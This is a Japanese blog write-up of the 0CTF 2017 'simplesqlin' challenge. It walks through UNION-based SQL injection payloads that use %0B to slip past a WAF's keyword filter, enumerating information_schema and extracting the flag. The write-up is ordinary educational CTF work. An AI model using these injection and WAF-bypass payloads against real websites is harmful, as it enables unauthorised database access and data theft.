0CTF 2017 Quals Writeup (simplesqlin)

0CTF 2017 Qualsに参加しました。wellcom以外に唯一解けたsimplesqlinのWriteupを。

CTF4bで学んだことが活かせた問題でした。

今後の自身の振り返りのため、詳細に記録します。

 

simplesqlin (Web 33)

問題文 : http://202.120.7.203

 

参考資料

SQL Injection Bypassing WAF - OWASP

CTF for ビギナーズ講義資料(ctf4b2016final_web)

 

調査

上記URLにアクセスすると、「0CTF News」なる簡易的なニュース一覧を表示するWebサイトだった。

f:id:lionelclinon:20170320192834j:plain

 

全部で4つの記事(ブロック)があり、それぞれ<h3>タイトル、<div>説明文、<a>リンクの構成になっている。

f:id:lionelclinon:20170320193010j:plain

 

先頭記事のリンク(http://202.120.7.203/?id=1)にアクセスすると、その記事だけのページが表示される。(他のリンクも同様)  

f:id:lionelclinon:20170320194304j:plain

idの値をnull(id=null)にするとリンク以外表示されない。でもレスポンス200で正常に帰ってくる。(php内の処理で失敗すると500)

 

?id=1 or id=2

1つめの記事が表示される。

 

?id=1 or id=4 order by id desc

4つめの記事が表示される。

 

?id=null or 1 order by id desc

4つめの記事が表示される。この結果から、SELECTしてきた中から先頭の情報しか表示しないことに気づいた。

 

?id=1 #hello

エラーなく1つめの記事が表示される。「#」が有効に使えることからDBはMySQLであると判断。

 

2番目の記事に記載がある通り、このWebサイトはWAFにより不正な文字列をブロックしているらしい。

試しに、http://202.120.7.203/?id=selectとアクセスすると、「Your request is blocked by waf.」と表示されてしまう。

f:id:lionelclinon:20170320193615j:plain

同様にWAFにブロックされる文字列を調べると、「select」「from」「where」だった。

 

方針

上記の調査から、以下の方針を立てた。

・?id=部分に対して問題名の通り、SQL Injectionを試みる。

・DBからSELECTした文字列を表示するようなので、UNION SQL Injectionを用いる。

・WAFが存在するため、WAFのチェックをすり抜ける文字列を使用する。(SQL Injection Bypassing WAF)

 

実施

WAFバイパスのために有効な文字列の調査。最終的に以下の文字列が通った。

(通ったというより、WAFからのメッセージが表示されなかった。)

?id=se%0Blect 

f:id:lionelclinon:20170320193640j:plain

UNION SQL Injectionのための調査。nullを指定する数を徐々に増やし、元のSQL文でSELECTしているカラム数を調査。最終的に以下の文字列にて成功。(つまりカラム数は3つ)

?id=1 union se%0Blect null,null,null

f:id:lionelclinon:20170320193721j:plain

 

DBがMySQLのようだったので、正しいか試す。(これはフラグを取るためには直接は関係なかった)

?id=null union se%0Blect version(),version(),version() 

f:id:lionelclinon:20170320193742j:plain

 

ここで試しに、version()を指定する箇所を変えてみると、SQL文のどの場所が、実際のWebサイトのどの部分と紐づくか?が分かった。

(このときはまだ気が付かなかったが、<div>以外の場所は、表示する文字数に制限があった。→長い文字列は表示が途中で途切れてしまう。)

?id=null union se%0blect version(),null,null →リンクに現れた。つまりidカラム。
?id=null union se%0blect null,version(),null →<h3>に現れた。
?id=null union se%0blect null,null,version() →<div>に現れた。以下の画像は左記のケース。

f:id:lionelclinon:20170320193803j:plain

 

テーブル一覧を検索。(Webサイトの処理上、SELECTした先頭行しか表示しないため、group_concatを用いて、複数レコードを1行にまとめた。また、同じテーブル名が複数表示されるため、distinctを指定して重複排除を行った。)

?id=null union se%0blect null,null,group_concat(distinct table_name) fr%0bom information_schema.columns

f:id:lionelclinon:20170320193906j:plain

 

f:id:lionelclinon:20170320193919j:plain

末尾にnewsとflagテーブルが確認できる。flagテーブルが怪しいと判断。

 

flagテーブルのカラム一覧を検索。

?id=null union se%0blect null,null,group_concat(distinct column_name) fr%0bom information_schema.columns w%0bhere table_name like '%flag%' 

f:id:lionelclinon:20170320193959j:plain

 

flagテーブルはflagカラムのみだった。

flagテーブルのflagカラムをSELECTすると・・・

?id=null union se%0blect null,null,flag fr%0bom flag 

f:id:lionelclinon:20170320194015j:plain

フラグが手に入った。

flag{W4f_bY_paSS_f0R_CI}